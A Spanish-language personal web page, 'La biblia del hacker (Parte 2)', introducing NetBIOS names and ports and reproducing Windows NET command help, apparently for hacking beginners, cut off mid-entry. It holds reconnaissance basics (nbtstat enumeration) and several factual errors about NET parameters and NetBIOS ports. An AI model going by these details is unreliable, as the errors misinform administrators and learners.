Bienvenidos a mi pagina web:Elelu1488
   
  trucosyherramientaseducativas
  La biblia del hacker(Parte 2)
 
[ 5 - Introduccion a NetBIOS ]
----------------------------
 
NetBIOS es una Interfaz de programacion de aplicaciones (o API) que los
programas en una red local lo pueden utilizar. NetBIOS proporciona a los
programas un conjunto uniforme de comandos para solicitar los servicios de
bajo nivel necesarios para administrar nombres, dirigir sesiones y enviar
datagramas entre los nodos de una red.
Normalmente es usado en redes locales peque~as, de 200 maquinas cliente
para abajo.
Este puede ser usado en casi todos los sistemas operativos de red, y
pudiendo ser transportado sobre bastantes protocolos de red.
 
 
 
[ 5.1 - Historia de NetBIOS ]
---------------------------
 
NetBIOS son las siglas de Network Basic Input/Output System, y se
desarrollo por IBM y Systek, los cuales lo crearon con el fin de poder
subministrar a los programas de una interfaz que pudiera acceder a los
recursos de las redes locales.
En poco tiempo NetBIOS se asento como un estandar para acceder a todo
tipo de redes, gracias entre otras cosas a que era tan solo una interfaz
entre las aplicaciones y la tarjeta ethernet, con lo cual era independiente
del hardware que se usara.
Mas tarde salio a la luz Netbeui, un protocolo de red de Microsoft, que
es NetBIOS pero bastante mejorado, a~adiendo una capa de transporte no
estandarizada en NetBIOS.
 
 
[ 5.2 - Conceptos sobre NetBIOS ]
--------------------------------
 
Antes de seguir veremos algo mas sobre NetBIOS que nos ayudara a
entenderlo mas.
Primero veamos los nombres NetBIOS:
 
 
Nombres NetBIOS
---------------
 
Los llamados Nombres NetBIOS se usan para identificar los distintos
recursos en la red. Gracias a estos nombres los equipos pueden comunicarse
utilizando datagramas de NetBIOS y establecer sesiones entre ellos.
Estos nombres deben tener una longitud maxima de 16 caracteres
alfanumericos, cuyo primer caracter no puede ser '*'.
Para que un equipo se quiera registrar en la red, debe mandar un mensaje
broadcast en el que indique su nombre NetBIOS para poder ser identificado
por los otros equipos. Aqui pueden suceder dos cosas, una que el nombre no
este usado, por lo cual el equipo se registraria satisfactoriamente; la otra
que el nombre por el que se identifica ya esta siendo usado, por lo que el
intento de registro termina, teniendo que identificarse el equipo por otro
nombre.
Hay dos tipos de nombres, los nombres unicos (unique) y los de grupos
(group). Los nombres unicos como su nombre indica se llevan individualmente
por un equipo, el cual le representa _solo a el_. Los nombres de grupo
representan a un grupo por lo que se pueden repetir y puede repetirse varias
veces en la red.
Estos nombres pueden tener una longitud de 16 caracteres, sin embargo
son 15 caracteres los que identifican a nuestro equipo, y el caracter numero
16 es usado por los servicios de red de Microsoft como un sufijo para poder
identificar el tipo de servicio que ofrece.
Cada nodo de NetBIOS mantiene una tabla con informacion de todos los
nombres que se estan usando en el nodo.
A continuacion una aproximacion de lo que seria una tabla de NetBIOS, que
muestra los sufijos que se utilizan en NT:
 
 
Nombre Sufijo Tipo Servicio
----------------------------------------------------------------------
 
<nombre_del_ordenador> 00 U Workstation Service
<nombre_del_ordenador> 01 U Messenger Service
<_MSBROWSE_> 01 G Master Browser
<nombre_del_ordenador> 03 U Messenger Service
<nombre_del_ordenador> 06 U RAS Server Service
<nombre_del_ordenador> 1F U NetDDE Service
<nombre_del_ordenador> 20 U File Server Service
<nombre_del_ordenador> 21 U RAS Client Service
<nombre_del_ordenador> 22 U Exchange Interchange
<nombre_del_ordenador> 23 U Exchange Store
<nombre_del_ordenador> 24 U Exchange Directory
<nombre_del_ordenador> 30 U Modem Sharing Server Service
<nombre_del_ordenador> 31 U Modem Sharing Client Service
<nombre_del_ordenador> 43 U SMS Client Remote Control
<nombre_del_ordenador> 44 U SMS Admin Remote Control Tool
<nombre_del_ordenador> 45 U SMS Client Remote Chat
<nombre_del_ordenador> 46 U SMS Client Remote Transfer
<nombre_del_ordenador> 4C U DEC Pathworks TCPIP Service
<nombre_del_ordenador> 52 U DEC Pathworks TCPIP Service
<nombre_del_ordenador> 87 U Exchange MTA
<nombre_del_ordenador> 6A U Exchange IMC
<nombre_del_ordenador> BE U Network Monitor Agent
<nombre_del_ordenador> BF U Network Monitor Apps
<nombre_del_usuario> 03 U Messenger Service
<dominio> 00 G Domain Name
<dominio> 1B U Domain Master Browser
<dominio> 1C G Domain Controllers
<dominio> 1D U Master Browser
<dominio> 1E G Browser Service Elections
<INetServicios> 1C G Internet Information Server
<ISnombre_de_ordenador> 00 U Internet Information Server
 
 
He aqui la tipica tabla de nombres NetBIOS, de la cual paso a explicar
cada elemento:
 
El apartado "nombre" supongo que queda claro, el nombre del/los equipo/s
en cuestion, no tiene mas.
El apartado sufijo si necesita mayor explicacion. Estos sufijos
(expresados en hexadecimal) representan diversos servicios, veamos que
representa que:
 
 
---- --- -- - Tipo Unique ---- --- -- -
<00> Nombre del servicio de la estacion de trabajo, es el nombre que se
refiere al nombre NetBIOS.
<03> Nombre del servicio de mensajeria. Se usa cuando enviamos o
recibimos mensajes.
<06> Servicio de servidor RAS.
<1B> Nombre del dominio principal. Este identifica al primer controlador
de dominio.
<1F> Servicio NetDDE.
<20> Cliente RAS.
<BE> Monitor de agente de red.
<BF> Utilidad de monitor de red.
 
 
---- --- -- - Tipo Group ---- --- -- -
 
<1C> Nombre del grupo de dominio. Este contiene la lista de direcciones
de los equipos que estan registrados en el dominio.
<1D> Nombre del Master Browser.
<1E> Nombre de un grupo normal.
<20> Nombre de un grupo de Internet, con fines administrativos. Supongo
que mas de una vez habreis buscado grupos de este tipo :->.
 
Ahora veamos el apartado "tipo", que representa el tipo de grupo. Hay 5
tipos de grupos, veamos cuales:
 
Unique (U): Representa a un equipo, el cual debe tener no mas de una IP
asignada.
Group (G): Representa a un grupo de equipos, por lo tanto debe existir
con mas de una direccion IP.
Multihomed (M): El nombre de equipo es de tipo unico (unique), sin
embargo al tener varias tarjetas ethernet en el mismo
equipo se le permite registrar. Puede tener hasta 25
direcciones IP.
Internet Group (I): Configuracion de un grupo para poder gestionar los
nombres de dominio de winnt.
Domain Name (D): Nombre del dominio. Solo disponible en versiones NT 4 o
superior.
 
Y el apartado "servicio" define el servicio por lo que no requiere mayor
explicacion.
Para ver una tabla como la que hemos visto en la que se vean los nombres
registrados, o informacion sobre un nombre registrado en un grupo o servidor
de red, escribe lo siguiente:
nbtstat -A (direccion IP)
o bien
nbtstat -a (nombre del host)
Mas adelante revisaremos el comando Nbtstat en profundidad.
 
 
 
Funcionamiento de NetBIOS
-------------------------
 
Ahora que ya hemos visto lo mas esencial sobre NetBIOS no esta de mas que
veamos detalladamente su funcionamiento.
Cuando se establece una conexion con un equipo se inicia una sesion, que
permite mandar mensajes largos y corregir los errores (al igual que el
TCP/IP).
NetBIOS permite comunicaciones orientadas a conexion (de tipo TCP) o no
orientadas a conexion y por lo tanto no asegurando que el paquete llegue a
su destino (de tipo UDP).
NetBIOS posee tres tipos de servicio diferente: El de datagramas, el de
nombre y el de sesion.
El servicio de datagramas tiene asignado el puerto 138, mientras que el
servicio de nombres ocupa el 137. El servicio de sesion no ocupa puerto
alguno, mientras que el puerto 139 es usado para la correccion.
 
 
[ 5.3 - Comandos NET ]
--------------------
 
El conocer estos comandos es sumamente importante para movernos con
soltura dentro del sistema y saber como hacer distintas operaciones de red.
La informacion que aqui pongo la he adaptado al edit del dos, y esta
extraida de la ayuda incorporada de Windows 2000.
Seria recomendable que la copiarais y la pusierais en algun lado donde os
fuera facil echarle un vistazo en caso de no acordarse de un comando, etc.
 
 
> Net Accounts:
Actualiza la base de datos de cuentas de usuario y modifica los
requisitos de contrase~a e inicio de sesion para todas las cuentas. El
servicio inicio de sesion de red debe estar en ejecucion en el equipo
para el que desee cambiar los parametros de cuenta.
net accounts [/forcelogoff:{minutos | no}] [/minpwlen:longitud]
[/maxpwage:{dias | unlimited}] [/minpwage:dias]
[/uniquepw:numero] [/domain]
net accounts [/sync] [/domain]
 
 
Parametros
----------
 
ninguno
Escriba net accounts sin parametros para presentar en pantalla las
configuraciones actuales de contrase~a, limitaciones de inicio de
sesion e informacion de dominio.
/forcelogoff:{minutos | no}
Establece el numero de minutos que transcurriran antes de que se de
por finalizada una sesion de usuario en un servidor tras el
vencimiento de la cuenta de usuario o el tiempo valido de inicio de
sesion. Con la opcion no se impide que se produzca un cierre de sesion
forzado. El valor predeterminado es no.
Cuando se especifica la opcion /forcelogoff:minutos, Windows NT envia
una advertencia minutos antes de forzar la salida del usuario de la
red. Si hay algun archivo abierto, Windows NT advierte al usuario. Si
minutos es menor que dos, Windows NT indica al usuario que cierre la
sesion de red inmediatamente.
/minpwlen:longitud
Establece el numero maximo de dias de validez de la contrase~a de una
cuenta de usuario. Los valores validos oscilan entre los 0 y 14
caracteres; el valor predeterminado es de 6 caracteres.
/maxpwage:{dias | unlimited}
Establece el numero maximo de dias de validez de la contrase~a de una
cuenta de usuario. El valor unlimited establece un tiempo ilimitado.
La opcion /maxpwage debe ser menor que /minpwage. Los valores validos
oscilan entre 1 y 49710 dias (unlimited); el valor predeterminado es
de 90 dias.
/minpwage:dias
Establece el numero minimo de dias que han de transcurrir antes de que
un usuario pueda cambiar una contrase~a nueva. Un valor 0 significa
que no hay tiempo minimo. Los valores validos oscilan entre 0 y 49710
dias; el valor predeterminado es de 0 dias.
/uniquepw:numero
Impide que el usuario repita la misma contrase~a durante numero
cambios de contrase~a. Los valores validos oscilan entre 0 y 8 cambios
de contrase~a; el valor predeterminado es de 5 cambios.
/domain
Realiza la operacion sobre el controlador principal del demonio
actual. Si no se especifica este parametro, la operacion se realizara
en el equipo local.
Este parametro se aplica unicamente a equipos con Windows NT
Workstation que son miembros de un dominio de Windows NT Server. De
manera predeterminada, los equipos con Windows NT Server realizan las
operaciones sobre el controlador principal del dominio.
/sync
Cuando se utiliza en el controlador principal de dominio, causa la
sincronizacion de todos los controladores de reserva de dicho dominio.
Cuando se utiliza en un controlador de reserva, causa la
sincronizacion de ese controlador de reserva con el controlador
principal de dominio unicamente. Este comando solo se aplica a los
equipos que son miembros de un dominio de Windows NT Server.
 
 
Ejemplos
--------
 
Para mostrar la configuracion actual para el cierre forzado de sesion,
los requisitos de contrase~a y la funcion de un servidor determinado,
escriba:
net accounts
Para establecer un minimo de siete caracteres para las contrase~as de la
cuenta de usuario, escriba:
net accounts /minpwlen:7
Para especificar que una contrase~a no pueda repetirse hasta pasados
cinco cambios, escriba:
net accounts /uniquepw:5
Para evitar que los usuarios cambien la contrase~a con una frecuencia
mayor que 7 dias, para forzar el cambio de contrase~a cada 30 dias y
para forzar el cierre de sesion tras el vencimiento del tiempo de inicio
de sesion y emitir una advertencia 5 minutos del cierre forzado,
escriba:
net accounts /minpwage:7 /maxpwage:30 /forcelogoff:5
Para realizar la tarea anterior en un equipo con Windows NT Worksation y
asegurarse de que la configuracion es efectiva en el dominio de Windows
NT server en el que el equipo ha iniciado la sesion, escriba:
net accounts /minpwage:7 /maxpwage:30 /domain
Para actualizar la base de datos de cuentas de usuario de todos los
servidores miembros, escriba:
net accounts /sync
 
> Net Computer:
Agrega o elimina equipos de una base de datos de dominios. Este comando
esta disponible solo en los equipos con Windows NT Server.
net computer equipo {/add | /del}
 
Parametros
----------
 
Especifica el equipo que se agrega o elimina del dominio.
/add
Agrega el equipo especificado al dominio.
/del
Quita el equipo especificado del dominio.
 
 
Notas
-----
 
Este comando esta disponible solo en los equipos con Windows NT Server.
Todas las adiciones y eliminaciones de equipos se redirigen al
controlador principal de dominio.
 
 
Ejemplo
-------
 
Para agregar el equipo ARCOIRIS al dominio, escriba:
net computer arcoiris /add
 
> Net Config:
Muestra los servicios configurables que estan en ejecucion, o muestra y
modifica la configuracion de un servicio.
net config [servicio [opciones]]
 
 
Parametros
----------
 
ninguno
Escriba net config sin parametros para ver una lista de los servicios
configurables.
servicio
Es un servicio (server o workstation) que puede configurarse con el
comando net config.
opciones
Son especificas del servicio. Vea net config server o net config
workstation para obtener la sintaxis completa.
Use el comando net config servicio para cambiar parametros configurables
del servicio Servidor o Estacion de trabajo. Los cambios entran en
vigor inmediatamente y son permanentes.
 
> Net Config Server:
Muestra o cambia la configuracion para el servicio Servidor mientras
dicho servicio esta en ejecucion.
net config server [/autodisconnect:tiempo] [/srvcomment:"texto "]
[/hidden:{yes | no}]
 
 
Parametros
----------
 
ninguno
Escriba net config server para ver la configuracion actual del
servicio servidor.
/autodisconnect:tiempo
Establece el numero maximo de minutos que una sesion de usuario puede
permanecer inactiva antes de que se desconecte. Puede especificar -1
para que nunca se produzca dicha desconexion. Los valores validos
oscilan entre -1 y 65545 minutos; el valor predeterminado es 15.
/srvcomment:"texto"
Agrega un comentario para el servidor que se muestra en las pantallas
de Windows NT y con el comando net view. El comentario puede tener un
maximo de 48 caracteres. Escriba el texto entre comillas.
/hidden:{yes | no}
Especifica si el nombre de equipo del servidor debe aparecer al
presentar la lista de servidores. Tenga en cuenta que el hecho de
ocultar un servidor no modifica los permisos definidos en el. El
valor predeterminado es no.
 
 
Ejemplos
--------
 
Para mostrar informacion acerca del servidor local e impedir que la
pantalla se desplace, escriba:
net config server | more
Para ocultar el nombre del equipo del servidor en la lista de
servidores disponibles, escriba:
net config server /hidden:yes
Para desconectar a un usuario despues de 15 minutos de inactividad,
escriba:
net config server /autodisconnect:15
 
 
Notas
-----
 
Utilice el comando net config server para cambiar parametros
configurables del servicio Servidor. Los cambios entran en vigor
inmediatamente y son permanentes.
No todos los parametros del servicio servidor pueden cambiarse
utilizando el comando net config server, pero el comando presenta
informacion adicional. El comando presenta la siguiente informacion
acerca del servidor:
1. El nombre de equipo del servidor, un comentario descriptivo y la
version del software.
2. La descripcion de la red.
3. La configuracion de ocultar el servidor.
4. El numero maximo de usuarios que pueden utilizar los recursos
compartidos del servidor.
5. El numero maximo de archivos del servidor que pueden estar
abiertos.
6. La configuracion del tiempo de inactividad de la sesion.
 
 
> Net Config Server:
Muestra o cambia la configuracion del servicio Estacion de trabajo
mientras esta en ejecucion.
net config workstation [/charcount:bytes] [/chartime:ms] [/charwait:s]
 
 
Parametros
----------
 
ninguno
Escriba net config workstation para mostrar la configuracion actual
del equipo local.
/charcount:bytes
Especifica la cantidad de datos que recopila Windows NT antes de
enciarlos a un dispositivo de comunicaciones. Si se establece tambien
/chartime:ms, Windows NT actua segun la condicion que se satisfaga
primero. Los valores validos oscilan entre 0 y 65.535 bytes; el valor
predeterminado es de 16 bytes.
/chartime:ms
Establece el numero de milisegundos durante los cuales Windows NT
recopila datos antes de enviarlos a un dispositivo de comunicaciones.
Si se establece tambien /charcount:bytes, Windows NT actua segun la
condicion que se satisfaga primero. Los valores validos oscilan entre
0 y 65.535. 000 milisegundos; el valor predeterminado es de 250
milisegundos.
/charwait:seg
Establece el numero de segundos que esperara Windows NT a que un
dispositivo de comunicaciones este disponible. Los valores validos
oscilan entre 0 y 65.535 segundos; el valor predeterminado es de 3.600
segundos.
 
 
Ejemplos
--------
 
Para presentar en pantalla la configuracion actual del servicio
Estacion de trabajo, escriba:
net config workstation
Para estableces el numero de milisegundos que Windows NT espera antes
de enviar los datos a un dispositivo de comunicacion a 500
milisegundos, escriba:
net config workstation /chartime:500
 
 
Notas
-----
 
Use el comando net config workstation para cambiar parametros
configurables del servicio Estacion de trabajo. Los cambios entran en
vigor inmediatamente y son permanentes.
No todos los parametros del servicio Estacion de trabajo pueden
cambiarse con el comando net config workstation. Otros parametros
pueden cambiarse en el registro de configuracion.
 
> Net Continue:
Vuelve a activar un servicio interrumpido.
net continue servicio
 
 
Parametros
----------
 
servicio
Los servicios que pueden reanudarse son los siguientes: servidor de
archivos para macintosh (solo para Windows NT Server), servicio de
publicacion de FTP, lpdsvc, inicio de sesion de red, dde de red, dsdm
dde de red, proveedor de seguridad nt lm, inicio remoto (solo para
Windows NT Server), servidor de acceso remoto, shedule, servidor,
servicios simples de tcp/ip y estacion de trabajo.
 
 
Notas
-----
 
Es un servidor y en un cliente:
Use el comando net continue para volver a activar un servicio
interrumpido. Interrumpa el servicio antes de detenerlo para permitir
que los usuarios finalicen sus trabajos o se desconecten de los
recursos. Para efectuar una correccion poco importante en un recurso,
quiza sea suficiente con efectuar una pausa en el servicio o la
impresora. Use despues el comando net continue para activar de nuevo
dicho servicio o impresora, sin necesidad de cancelar las conexiones
de los usuarios.
En un cliente:
Use los comandos net pause y net continue para pasar de las impresoras
de la red a impresora conectada a su equipo.
 
> Net File:
Muestra los nombres de todos los archivos compartidos abiertos en un
servidor y el numero de bloqueos de archivo (si existe alguno) en cada
uno de ellos. Este comando tambien cierra archivos compartidos
individuales y quita bloqueos de archivo.
net file [id [/close]]
 
 
Parametros
----------
 
ninguno
Escriba net file sin parametros para obtener una lista de los
archivos abiertos en un servidor.
id
Es el numero de identificacion del archivo.
/close
Cierra un archivo abierto y libera los registros bloqueados. Escriba
este comando desde el servidor en el que se comparte el archivo.
 
 
Ejemplos
--------
 
Para ver una pantalla de informacion acerca de los archivos
compartidos, escriba:
net file
Para cerrar un archivo con el numero de identificacion 1, escriba:
net file 1 /close
 
 
Notas
-----
 
Este comando tambien puede escribirse como net files.
Use el comando net file para ver y controlar archivos compartidos en la
red que, en ocasiones, se dejan abiertos y bloqueados por error. Cuando
esto sucede, es imposible tener acceso a las partes bloqueadas de un
archivo desde otros equipos de la red. Use la opcion /close del comando
net file para quitar el bloqueo y cerrar el archivo.
La pantalla que muestra el comando net file es similar a la siguiente:
Archivo Ruta de acceso Nombre de usuario Bloqueos
------------------------------------------------------------------
0 C:ARCH_A.TXT MARISAF 0
1 C:BASEDATOS DAVIDSA 2
 
 
> Net Group:
Agrega, muestra o modifica grupos globales en dominios de Windows NT
Server. Este comando solo esta disponible en los dominios de Windows NT
Server.
net group [nombre_grupo [/comment:"texto"]] [/domain]
net group nombre_grupo {/add [/comment:"texto"] | /delete} [/domain]
net group nombre_grupo nombre_usuario[...] {/add | /delete} [/domain]
 
 
Parametros
----------
 
ninguno
Escriba net group sin parametros para mostrar el nombre de un
servidor y los nombres de los grupos de dicho servidor.
nombre_grupo
Es el nombre del grupo que va a agregarse, expandirse o eliminarse.
Especifique un nombre de grupo para ver la lista de los usuarios
correspondientes.
/comment:"texto"
Agrega un comentario para un grupo nuevo o existente. Dicho
comentario puede tener hasta 48 caracteres. Escriba el texto entre
comillas.
/domain
Realiza la operacion sobre el controlador principal del dominio
actual. Si no se especifica este parametro, la operacion se realizara
en el equipo local.
Este parametro se aplica unicamente a equipos con Windows NT
Workstation que son miembros de un dominio de Windows NT Server. De
manera predeterminada, los equipos con Windows NT Server realizan las
operaciones en el controlador principal del dominio.
nombre_usuario[...]
Muestra la lista de uno o mas usuarios que se agregaran o quitaran
de un grupo. Separe los nombres de usuario con un espacio en blanco.
/add
Agrega un grupo o un nombre de usuario a un grupo. Debe establecerse
una cuenta para los usuarios agregados a un grupo con este comando.
/delete
Quita un grupo o un nombre de usuario de un grupo.
 
 
Ejemplos
--------
 
Para ver una lista de todos los grupos en el servidor local, escriba:
net group
Para agregar un grupo llamado ejec a la base de datos local de cuentas
de usuario, escriba:
net group ejec /add
Para agregar un grupo llamado ejec a la base de datos de cuentas de
usuario de un dominio de Windows NT Server desde un equipo con el
software Windows NT Workstation instalado, escriba:
net group ejec /add /domain
Para agregar las cuentas de usuario ya existentes esterv, rafar y
jesust al grupo ejec en el equipo local, escriba:
net group ejec esterv rafar jesust /add
Para agregar las cuentas de usuario ya existentes esterv, rafar y
jesust al grupo ejec de un dominio de Windows NT Server desde un
equipo con el software Windows NT Workstation instalado, escriba:
net group ejec esterv rafar jesust /add /domain
Para mostrar los usuarios del grupo ejec, escriba:
net group ejec
Para agregar un comentario al registro del grupo ejec, escriba:
net group ejec /comment:"Plantilla de ejecutivos."
Este comando puede escribirse tambien como net groups.
Use el comando net group para agrupar usuarios que trabajan de un modo
igual o similar en la red. Cuando se asignen derechos a un grupo, cada
miembro recibira automaticamente estos derechos.
La pantalla que muestra los grupos del servidor es similar a la
siguiente:
Cuentas del grupo de PRODUCCION
-------------------------------------------------------
*Admins. del dominio *Usuarios del dominio
Observe que los nombres de grupos van precedidos por un asterisco (*),
que sirve para identificar los grupos que incluyen usuarios y grupos.
 
 
> Net Help:
Proporciona una lista de comandos de red y temas sobre los que puede
obtener ayuda, o proporcionar ayuda acerca de un comando o tema
especifico. Los comandos de red disponibles tambien se muestran en la
ventana Comandos de esta referencia de comandos, bajo la letra N.
net help [comando]
net comando {/help | /?}
 
 
Parametros
----------
 
ninguno
Escriba net help sin parametros para mostrar una lista de comandos y
temas acerca de los cuales puede obtenerse ayuda.
comando
Es el comando acerca del cual desea obtenerse ayuda. No escriba net
como parte del comando.
/help
Proporciona una forma alternativa de mostrar en pantalla el texto de
ayuda.
/?
Muestra la sintaxis correcta del comando.
 
 
Ejemplos
--------
 
Para obtener la misma informacion acerca del comando net use,
utilizando dos formas del comando net help, escriba:
net help use
o bien
net use /help
Para ver la sintaxis del comando net use, escriba:
net use /?
 
 
> Net Helpmsg:
Proporciona ayuda referente a un mensaje de error de Windows NT.
net helpmsg mensaje_n§
 
 
Parametros
----------
 
mensaje_n§
Es el numero de cuatro digitos del mensaje de Windows NT acerca del
cual necesita ayuda.
 
 
Notas
-----
 
Cuando falla una operacion de red, se muestra un mensaje similar al
siguiente:
NET 21282: El servicio solicitado ya ha sido iniciado.
El comando net helpmsg explica la causa de un error e indica como
resolver el problema.
 
 
> Net Localgroup:
Agrega, muestra o modifica grupos locales.
net localgroup [nombre_grupo [/comment:"texto"]] [/domain]
net localgroup nombre_grupo {/add [/comment:"texto"] | /delete}
[/domain]
net localgroup nombre_grupo nombre [...] {/add | /delete} [/domain]
 
 
Parametros
----------
 
niguno
Escriba net localgroup sin parametros para mostrar el nombre del
servidor y los nombres de los grupos locales de dicho equipo.
nombre_grupo
Es el nombre del grupo que va a agregarse, expandirse o eliminarse.
Proporcione solo un nombre_grupo para ver una lista de los usuarios o
grupos globales de un grupo local.
/comment:"texto"
Agrega un comentario para un grupo nuevo existente. El comentario
puede tener hasta 48 caracteres de longitud. Escriba el texto deseado
entre comillas.
/domain
Realiza la operacion en el controlador principal del dominio actual.
Si no se especifica este parametro, la operacion se realizara en el
equipo local.
Este parametro se aplica unicamente a equipos con Windows NT
Workstation que son miembros de un dominio de Windows NT Server. Si
no se indica lo contrario, los equipos con Windows NT Server
realizaran las operaciones en el controlador principal del dominio.
nombre [...]
Muestra la lista de uno o mas nombres de usuario o de grupo que se
agregaran a un grupo local o se quitaran de el. Separe cada nombre
con un espacio en blanco. Los nombres pueden ser usuarios locales,
usuarios de otros dominios o grupos globales, pero no otros grupos
locales. Si un usuario es de otro dominio, escriba el nombre de
usuario despues del nombre de dominio (por ejemplo, VENTASSAMUEL).
/add
Agrega un nombre de grupo o de usuario a un grupo local. Debe
establecerse una cuenta para los usuarios o grupos globales que se
agreguen a un grupo local con este comando.
/delete
Quita un nombre de grupo o de usuario de un grupo local.
 
Use el comando net localgroup para agrupar usuarios que utilizan de un
modo igual o similar el equipo o la red. Cuando se asignen derechos a
un grupo local, cada miembro de dicho grupo recibira automaticamente
estos derechos.
 
 
Ejemplos
--------
 
Para mostrar una lista de todos los grupos locales del servidor local,
escriba:
net localgroup
Para agregar un grupo local llamado ejec a la base de datos local de
cuentas de usuario, escriba:
net localgroup ejec/add
Para agregar un grupo local llamado ejec a la base de datos de cuentas
de usuario de un dominio de Windows NT Server, escriba:
net localgroup ejec /add /domain
Para agregar las cuentas de usuario ya existentes esterv, rafar (del
dominio VENTAS) y jesust al grupo local ejec en el equipo local,
escriba:
net localgroup ejec esterv ventasrafar jesust /add
Para agregar las cuentas de usuario ya existentes esterv, rafar y
jesust al grupo ejec de un dominio de Windows NT Server, escriba:
net localgroup ejec esterv rafar jesust /add /domain
Para mostrar los usuarios del grupo local ejec, escriba:
net localgroup ejec
Para agregar un comentario al registro del grupo local ejec, escriba:
net localgroup ejec /comment:"Plantilla de ejecutivos."
 
 
> Net Name:
Agrega o elimina un nombre para mensajes (a veces llamado alias), o
muestra la lista de nombres para los que el equipo aceptara mensajes.
Para poder usar net name, el servicio de Mensajeria debe estar en
ejecucion.
net name [nombre [/add | /delete]]
 
 
Parametros
----------
 
ninguno
Escriba net name sin parametros para mostrar una lista de los nombres
actualmente en uso.
nombre
Especifica el nombre que recibe mensajes. Dicho nombre puede tener un
maximo de 15 caracteres.
/add
Agrega un nombre a un equipo. Escribir /dd es opcional puesto que el
resultado de escribir net name nombre es el mismo que el de escribir
net name nombre /add.
/delete
Quita un nombre de un equipo.
 
 
Ejemplos
--------
 
Para ver la lista de nombres en su equipo, escriba:
net name
Para agregar el nombre rsvp a su equipo, escriba:
net name rsvp
Para quitar el nombre rvsp de su equipo, escriba:
net name rsvp /delete
 
 
Notas
-----
 
Use el comando net name para especificar un nombre para la recepcion de
mensajes. Para poder usar este comando, debe haberse iniciado el
servicio Mensajeria. Cada nombre de mensajeria debe ser unico en la
red. Los nombres creados con net name se destinan estrictamente a
mensajes; estos nombres no son grupos.
Windows NT usa tres tipos de nombres:
1. Cualquier nombre para mensajeria, que se agrega con net name.
2. El nombre de equipo del equipo, que se agrega al iniciar el
servicio Estacion de trabajo.
3. Su nombre de usuario, que se agrega cuando inicia la sesion,
suponiendo que su nombre no se este usando como nombre de
mensajeria en otra parte de la red.
 
 
> Net Pause:
Interrumpe los servicios en ejecucion.
net pause servicio
 
 
Parametros
----------
 
servicio
Puede ser:
1. Servidor de archivos para Macintosh (solo en Windows NT Server)
2. Servicio de publicacion de FTP
3. LPDSVC
4. Inicio de sesion de red
5. DDE de red
6. DSDM DDE de red
7. Proveedor de seguridad Lan Manager de NT
8. Inicio remoto (solo en Windows NT Server)
9. Servidor de acceso remoto
10. Shedule
11. Servidor
12. Servicios simples de tcp/ip
13. Estacion de trabajo.
 
 
Ejemplos
--------
 
Para interrumpir el servicio Servidor, escriba:
net pause server
Para interrumpir el servicio Inicio de sesion de red, escriba:
net pause "net logon"
 
 
Notas
-----
 
En un servidor:
Use el comando net pause antes de detener un servicio para permitir
que los usuarios finalicen su trabajo o se desconecten de los
recursos. Hacer una pausa en un servicio lo interrumpe
momentaneamente, pero no elimina el software de la memoria. Los
usuarios que estan conectados a un recurso pueden finalizar sus
tareas, pero no podran efectuar nuevas conexiones a dicho recurso.
Si piensa detener un servicio que afecta a recursos compartidos,
primero interrumpalo, luego envie un mensaje con el comando net send
para avisar de dicha detencion; despues de un lapso suficiente para
que los usuarios terminen de usar el servicio, detengalo usando el
comando net stop.
Para volver a activar un servicio interrumpido, use el comando net
continue.
 
En un cliente:
Use los comandos net pause y net continue para pasar de las
impresoras de red a las impresoras conectadas a su estacion de
trabajo.
 
Tanto en un servidor como en un cliente:
No se pueden interrumpir todos los servicios.
 
La pausa afecta a los servicios de Windows NT de las siguientes formas:
1. La pausa del servicio inicio de sesion de red impide que el equipo
procese las peticiones de inicio de sesion. Si el dominio tiene
otros servidores de inicio de sesion, los usuarios podran iniciar
su sesion en la red.
2. La pausa del servicio Servidor impide que los usuarios establezcan
nuevas conexiones con los recursos compartidos de este y, si no hay
otros servidores de inicio de sesion en la red, impide que los
usuarios inicien su sesion en la red. Esto no afecta a una conexion
existente. Los administradores pueden establecer conexiones con el
servidor aunuqe el servicio este interrumpido.
3. La pausa del ejercicio Estacion de trabajo mantiene el nombre de
usuario, la contrase~a y las conexiones definidas, pero dirige las
peticiones de impresion a las impresoras conectadas al equipo, en
lugar de hacerloa a las impresoras conectadas a la red.
 
 
> Net Print:
Muestra o controla los trabajos y las colas de impresion.
net print [nombre_equipo] trabajo_n§ [/hold | /release | /delete]
 
 
Parametros
----------
 
nombre_equipo
Es el nombre del equipo que comparte las colas de impresion.
recurso_compartido
Es el nombre de la cola de impresion. Cuando incluya
recurso_compartido y nombre_equipo, separelos con una barra invertida
().
 
trabajo_n§
Es el numero de identificacion asignado a un trabajo de impresion en
una cola. Un equipo con una o mas colas de impresion asigna a cada
trabajo un numero unico. Si se esta usando un numero de trabajo en
una cola compartida por un equipo, dicho numero no se asignara a
ningun otro trabajo, ni siquiera a otras colas de ese equipo.
/hold
Cuando se usa con trabajo_n§, retiene el trabajo en espera en la cola
de impresion. El trabajo permanece en la cola y los demas trabajos lo
rebasaran hasta que se libere.
/release
Libera un trabajo o una cola de impresion que se ha retenido.
/delete
Quita un trabajo de la cola de impresion.
 
 
Ejemplos
-------
 
Para obtener informacion acerca del trabajo numero 35 del equipo
PRODUCCION, escriba:
net print produccion 35
Para retener el trabajo numero 263 del equipo PRODUCCION, escriba:
net print produccion 263 /hold
Para liberar el trabajo numero 263 del equipo PRODUCCION, escriba:
net print produccion 263 /release
Para obtener una lista del contenido de la cola de impresion MATRIZ del
equipo PRODUCCION, escriba:
 
 
Notas
-----
 
El comando net print muestra informacion en distintos formatos acerca
de las colas de impresion.
Puede hacer que se presente una cola en particular usando:
Lo siguiente es un ejemplo de la informacion presentada de todas las
colas de impresion:
 
Colas de impresora en PRODUCCION
Nombre Trabajo No. Tama~o Estado
-----------------------------------------------------------
Cola LASER 1 trabajos *Cola activa*
1 trabajos 0 en cola
 
Use net print trabajo_n§ para mostrar un unico trabajo de impresion.
Aparecera una pantalla similar a la siguiente:
Trabajo No. 35
Estado Esperando
Tama~o 3096
Comentario
Usuario MARIASL
Notificar MARIASL
Tipo de dato del trabajo
Parametros del trabajo
Informacion adicional
 
 
> Net Send:
Envia mensajes a otros usuarios, equipos, grupos o nombres para mensajes
en la red. El servicio mensajeria debe estar en ejecucion para poder
recibir mensajes.
net send {nombre | * | /domain[:nombre] | /users} mensaje
 
 
Parametros
----------
 
nombre
Es el nombre de usuario, de equipo o nombre para mensajes al que se
envia el mensaje. Si se trata de un nombre de equipo que contiene
caracteres en blanco, escribalo entre comillas (" ").
*
Envia el mensaje a todos los nombres del grupo.
 
/domain[:nombre]
Envia el mensaje a todos los nombres del dominio del equipo. Si se
especifica nombre, se enviara el mensaje a todos los nombres del
